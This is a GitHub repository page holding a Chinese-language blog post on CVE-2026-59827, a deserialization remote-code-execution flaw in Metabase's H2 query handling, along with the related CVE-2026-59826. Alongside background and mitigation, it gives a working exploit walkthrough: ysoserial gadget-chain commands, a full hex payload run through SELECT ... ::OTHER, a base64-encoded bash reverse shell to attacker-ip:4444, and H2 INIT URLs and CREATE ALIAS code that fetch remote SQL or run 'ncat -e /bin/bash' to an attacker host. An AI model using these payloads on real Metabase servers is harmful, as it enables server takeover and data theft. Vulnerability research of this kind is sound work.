c0gnit00/CVE-2026-59827

GitHub: c0gnit00/CVE-2026-59827

该仓库是一篇详细分析 Metabase CVE-2026-59827 H2 查询结果不安全反序列化远程代码执行漏洞的技术博客,涵盖漏洞原理、利用方法和修复方案。

Stars: 0 | Forks: 0

# CVE-2026-59827 — Metabase 中 H2 查询结果的不安全反序列化 **GHSA-w95f-x9v9-wv36 | CVSS 9.9 严重 | CWE-502: 不可信数据的反序列化** eror loading image ## 概述 CVE-2026-59827 是 Metabase(一个广受欢迎的开源商业智能和数据分析平台)中的一个严重的远程代码执行漏洞。该缺陷源于 Metabase 处理 H2 数据库连接返回查询结果的方式。当针对 H2 数据源的本地 SQL 查询返回类型为 `OTHER` 的列时,Metabase 会将该列的原始字节反序列化为 Java 对象,而不执行任何验证。因此,能够运行本地查询的经过身份验证的用户可以将恶意的序列化 payload 偷渡到结果集中,并在托管 Metabase 的服务器上触发任意代码执行。 该漏洞被评定为 9.9 的 CVSS 评分,这反映了其所需的先决条件极低,以及成功利用后会导致完全的服务器端代码执行。 ## Metabase 版本控制方案 Metabase 在同一个发布周期中提供两个平行的版本轨道。开源版本使用以 `0` 为前缀的版本号 —— 例如 `v0.61.1`。企业(商业)版本使用以 `1` 为前缀的版本号 —— 例如 `v1.61.1`。两个版本共享同一个底层代码库并一同发布,因此影响 `v1.61.0` 的漏洞同样也会影响 `v0.61.0`。在本文中,版本号使用企业版的 `1.xx` 前缀编写,但每个受影响的版本都可以通过将开头的 `1` 替换为 `0`,直接映射到其 `0.xx` 开源对应版本。 ## 受影响版本 CVE-2026-59826 和 CVE-2026-59827 于 2026 年 7 月一同被披露。它们具有重叠的版本范围,但补丁应用点不同。 ### CVE-2026-59827 — 不安全反序列化(本博客) 受影响的企业版本为 1.58.0 至 1.58.14、1.59.0 至 1.59.11、1.60.0 至 1.60.6.2,以及 1.61.0 至 1.61.1.3。相应的开源版本为 0.58.0 至 0.58.14、0.59.0 至 0.59.11、0.60.0 至 0.60.6.2,以及 0.61.0 至 0.61.1.3。 内部补丁首次发布为 1.61.1.4(企业版)和 0.61.1.4(开源版)。1.61 系列中第一个公开可用的修复版本是 1.61.2(v1.61.2.x / v0.61.2.x)。Metabase Cloud 实例已由提供商自动修补。 ### CVE-2026-59826 — 不安全的 H2 连接属性(相关) 受影响的企业版本为 1.55.0 至 1.58.15.0、1.59.0 至 1.59.11、1.60.0 至 1.60.6.2,以及 1.61.0 至整个 1.61.1.x 系列。第一个完全修复的公开版本是 1.61.2(v1.61.2.x / v0.61.2.x)。CVE-2026-59826 的范围更广,可追溯到 1.55 发布线,反映出其利用的数据库创建代码路径验证不足的问题存在时间更长。 ## 背景:Java 反序列化 Java 的序列化机制允许将内存中的对象转换为扁平的字节流,进行存储或传输,然后稍后通过调用 `ObjectInputStream.readObject()` 进行重建。该机制的关键特性是重建过程会执行代码。类构造函数、`readObject` 重写和终结器(finalizer)都会在反序列化期间运行。如果读取的字节来自不受信任的来源,攻击者可以精心构造它们,通过 JVM 中已加载的现有合法类序列来触发任意方法调用。这些序列被称为利用链(gadget chains)。 利用链不需要向应用程序引入任何新代码。它们利用现有库类的连接,这些库类的正常方法在反序列化期间以正确的顺序被调用时,最终会到达如 `Runtime.exec()` 这样的接收端(sink)。像 [ysoserial](https://github.com/frohoff/ysoserial/releases) 这样的工具专门用于为广泛部署的库(如 Apache Commons Collections、Spring Framework 等)生成这些 payload。 ## 背景:H2 的 OTHER 类型 H2 是一个纯 Java 嵌入式关系型数据库。它定义了一种特殊的 SQL 列类型,称为 `OTHER`,充当任意 Java 对象的传递通道。当 H2 在 `OTHER` 列中存储值时,它会写入由 Java 的 `ObjectOutputStream` 生成的字节。当它读回该值时,会调用 `ObjectInputStream.readObject()` 来重建对象。也可以使用 H2 的十六进制文字语法在查询中直接提供原始序列化字节: ``` SELECT CAST(X'ACED0005...' AS OTHER); -- or SELECT X'ACED0005...'::OTHER; ``` 前缀 `ACED` 后跟 `0005` 是 Java 序列化流的魔数和协议版本。任何以 `ACED0005` 开头的十六进制字符串都是 Java 序列化对象流。 当 H2 处理此查询时,它会在数据库端反序列化这些十六进制字节。然后,生成的对象通过 JDBC `ResultSet` 传回给调用应用程序。如果应用程序检查列值 —— 例如,为了格式化以进行显示 —— 它可能会触发额外的处理。这正是 Metabase 在存在漏洞的代码路径中所做的事情。 ## 漏洞工作原理 ### 存在漏洞的代码路径 Metabase 接收来自 H2 驱动程序的 JDBC `ResultSet`,并检查列元数据以决定如何为用户呈现每个值。当它遇到 JDBC 类型为 `Types.OTHER`(也报告为 `JAVA_OBJECT`)的列时,存在漏洞的 Metabase 版本会尝试反序列化原始字节,以生成可显示的表示形式。这个反序列化调用 `ObjectInputStream.readObject()` 在执行时没有任何白名单过滤或类验证。 事件的发生顺序如下: 1. 经过身份验证的攻击者打开 Metabase SQL 查询编辑器,并将目标对准已连接的 H2 数据库。示例数据库就足够了。 2. 攻击者提交本地 SQL 查询,返回包含精心构造的序列化 payload 的 `OTHER` 类型列。 3. H2 处理查询并将原始字节作为 `ResultSet` 中的 `JAVA_OBJECT` 列返回。 4. Metabase 的结果处理管道遇到 `OTHER` 列类型,并对其字节调用 `readObject()`。 5. 嵌入 payload 中的利用链被触发,到达 `Runtime.exec()` 并以运行 Metabase 进程的操作系统用户的身份执行攻击者的命令。 ### 修复方案 已修补的版本通过在尝试任何反序列化之前检查 JDBC 结果元数据来解决问题。如果列的类型为 `JAVA_OBJECT`,Metabase 现在会直接拒绝它,而不是尝试解析它。 ## 限制与攻击面 ### 需要什么访问权限 利用需要身份验证。攻击者必须拥有一个 Metabase 账户,并且对基于 H2 的数据库具有本地查询执行权限。管理员账户默认满足此条件。如果管理员授予了普通用户账户相关数据库的本地查询数据权限,则普通用户账户也可以满足此要求。 ### 作为数据仓库的 H2 已被移除 Metabase 在 2023 年发布的 0.46.6.4 版本中移除了对将 H2 添加为新数据仓库连接的支持。尝试通过管理界面注册新的 H2 连接会返回错误 "H2 is not supported as a data warehouse."。此移除是对早期与 H2 相关漏洞的回应,旨在消除连接到攻击者控制的 H2 实例的风险。 然而,从数据仓库连接 UI 中移除 H2 并不等同于从 Metabase 中移除 H2。在每次默认的 Metabase 安装中,仍然存在两个 H2 数据库。 第一个是应用程序数据库。当 Metabase 未配置为使用外部数据库(如 PostgreSQL 或 MySQL)时,它会将其自身的元数据(问题、仪表板、用户账户和设置)存储在位于 `/metabase-data/metabase.db.mv.db` 的 H2 文件中。该数据库无法通过 Metabase UI 直接查询。 第二个,也是更容易直接被利用的,是示例数据库。在初始设置期间,Metabase 会创建一个预填充了示例数据的 H2 数据库,并将其作为 "Sample Database" 连接提供。默认情况下,每个 Metabase 实例中都存在此连接,它是 CVE-2026-59827 的主要攻击面。这是一个实时的 H2 连接,用户可以对其运行本地 SQL 查询,并且管理面板中可见的连接字符串指向 `file:/plugins/sample-database.db`。 ### 示例数据库上的写权限 示例数据库对所有用户(包括管理员)强制实施只读访问。位于 `http://localhost:3000/admin/databases` 的 Metabase 数据库设置页面允许对已连接的数据库授予写入权限,但示例数据库无法使用该开关。这意味着无法通过正常方式针对示例数据库执行诸如 `CREATE`、`UPDATE` 和 `DELETE` 之类的数据操作语言(DML)语句。 Metabase admin database settings showing write access controls 这种限制很重要,因为它关闭了某些替代的攻击路径。例如,H2 引擎支持 `CREATE ALIAS` 语句,该语句可以定义 Java 函数并调用它: ``` CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; ``` 由于示例数据库的写访问权限被锁定,此 DDL 路径不可用。通过 `SELECT CAST(X'...' AS OTHER)` 进行反序列化的路径之所以是可行的利用向量,正是因为它只需要一条 `SELECT` 语句,而所有用户都允许执行该语句。 ## 搭建漏洞环境 要在受控的实验室环境中测试此漏洞,请运行受影响范围内的 Metabase 版本: ``` docker run -d -p 3000:3000 \ --name metabase-vulnerable \ -v metabase-data:/metabase-data \ metabase/metabase:v0.61.1 ``` Metabase 将在 `http://localhost:3000` 初始化,在 `/metabase-data/metabase.db.mv.db` 创建其 H2 应用程序数据库,并自动配置示例数据库。完成初始账户设置以获取经过身份验证的会话。设置完成后,导航至示例数据库的 SQL 编辑器。这就是漏洞利用的执行环境。 ## 利用漏洞 ### 第 1 步 — 确认反序列化处于活动状态 在尝试执行命令之前,请确认反序列化路径可达。ysoserial 的 `URLDNS` 利用链会生成一个 payload,该 payload 在反序列化时会对指定的主机名进行出站 DNS 查询。它不执行任何系统命令,使其成为确认 `readObject()` 确实被调用的安全探测手段。 生成 payload: ``` /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n' ``` 这会生成一个以 `aced0005` 开头的十六进制字符串。以下是从捕获的 payload 中提取的十六进制输出示例: ``` aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78 ``` ### 第 2 步 — 运行 URLDNS 探测查询 在 Metabase 中针对示例数据库打开 SQL 编辑器,运行以下命令,并将生成的十六进制字符串替换为你的 OAST 主机名: ``` SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER; ``` 监控你的 OAST 监听器。接收到来自 Metabase 服务器 IP 地址的 DNS 查询,确认 `readObject()` 已被调用,并且 `OTHER` 列上正在发生反序列化。 DNS probe query submitted in Metabase SQL editor DNS callback received in OAST listener confirming deserialization ### 第 3 步 — 寻找可用的利用链 哪个利用链能实现代码执行,取决于 Metabase 服务器的 classpath 上存在哪些 Java 库。依次尝试以下利用链: ``` java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin java -jar ysoserial-all.jar Clojure 'id' > payload.bin ``` 将每个二进制 payload 转换为 SQL 查询所需的十六进制格式: ``` xxd -p payload.bin | tr -d '\n' > payload.hex ``` 然后在 Metabase SQL 编辑器中使用相同的 `SELECT X'...'::OTHER` 模式提交,并观察是否有任何命令输出反映在错误消息或响应中。 ### 第 4 步 — 执行命令执行 Payload 一旦确定了可用的利用链,请将测试命令替换为所需的 payload。对于反弹 shell,请将命令进行 base64 编码,以避免 shell 引号问题: ``` echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64 ``` 使用 base64 解码后的执行模式生成 ysoserial payload: ``` java -jar ysoserial-all.jar CommonsCollections1 \ 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \ > payload.bin xxd -p payload.bin | tr -d '\n' > payload.hex ``` 在提交查询之前设置监听器: ``` nc -lvnp 4444 ``` 然后将十六进制字符串粘贴到 SQL 编辑器中: ``` SELECT X''::OTHER; ``` 当 Metabase 处理结果集并遇到 `OTHER` 列时,`readObject()` 将触发,利用链执行,反弹 shell 将连接回来。 ## 故障排除 如果引发 `InvalidClassException`,则说明利用链所依赖的库版本与服务器上存在的版本不匹配。请尝试其他利用链。 如果提交查询后没有任何反应,则说明实例已被修补,或者 JEP 290 序列化过滤器处于活动状态并阻止了利用链,或者 `OTHER` 列类型未被存在漏洞的代码处理。 如果发生 `ClassNotFoundException`,则说明 classpath 中完全缺少所需的库。请尝试其他利用链。 在 UI 输出中,您只会收到 `We're experiencing server issue` 错误: error loading image ## 与 CVE-2026-59826 的关系 CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) 是同时披露的一个相关漏洞。CVE-2026-59827 利用的是通过查询结果进行反序列化,而 CVE-2026-59826 针对的是一个单独的代码路径:数据库注册端点。经过身份验证的管理员可以提交一个精心构造的 H2 JDBC 连接 URL,其中包含一个 `INIT` 参数,该参数会在建立连接时执行。由于在某些数据库创建和数据库编辑代码路径上对 `INIT` 字段应用的验证不足,具有管理员访问权限的攻击者可以通过连接字符串而不是查询来实现 RCE。 恶意的 INIT 连接 URL 采用如下形式: ``` jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql" ``` 攻击者提供的 SQL 文件可以定义并调用执行 shell 命令的 Java 别名: ``` CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner( Runtime.getRuntime().exec(command).getInputStream() ).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555') ``` 或者,INIT 字符串可以直接嵌入触发器,而无需远程获取文件: ``` jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\; CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ java.lang.Runtime.getRuntime().exec('bash -c {echo,}|{base64,-d}|{bash,-i}') $$--=x ``` CVE-2026-59826 和 CVE-2026-59827 都有相同的根本原因 —— 对 H2 的服务器端执行功能的加固不足 —— 但在被利用的特定代码路径和所需的权限级别上有所不同。 ## 缓解与修复 将 Metabase 升级到以下任一修补版本:1.58.15、1.59.12、1.60.6.3 或 1.61.1.4。这些版本修改了结果处理管道,以检查 JDBC 列元数据,并拒绝处理任何报告为 `JAVA_OBJECT` 或 `OTHER` 类型的列,从而防止发生反序列化调用。 如果无法立即升级,请限制本地查询权限。移除所有非管理员用户对基于 H2 的数据库(包括示例数据库)的本地查询执行权限。这将攻击面缩小到仅限管理员级别的账户。另外,请考虑是否真的需要示例数据库;禁用或移除它可以完全消除此 CVE 的 H2 攻击面。 对于使用 H2 作为应用程序数据库的自托管实例,Metabase 自己的文档建议迁移到 PostgreSQL 或 MySQL,作为更健壮、更安全的应用程序数据库后端。 ## 参考资料 - NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2026-59827 - GitHub 安全公告 GHSA-w95f-x9v9-wv36:https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36 - OSV 条目:https://osv.dev/vulnerability/GHSA-w95f-x9v9-wv36 - ysoserial payload 生成器:https://github.com/frohoff/ysoserial/releases
标签:Go语言工具, H2数据库, Java反序列化, JS文件枚举, Metabase, RCE, 无摄像头检测, 漏洞分析, 请求拦截, 路径探测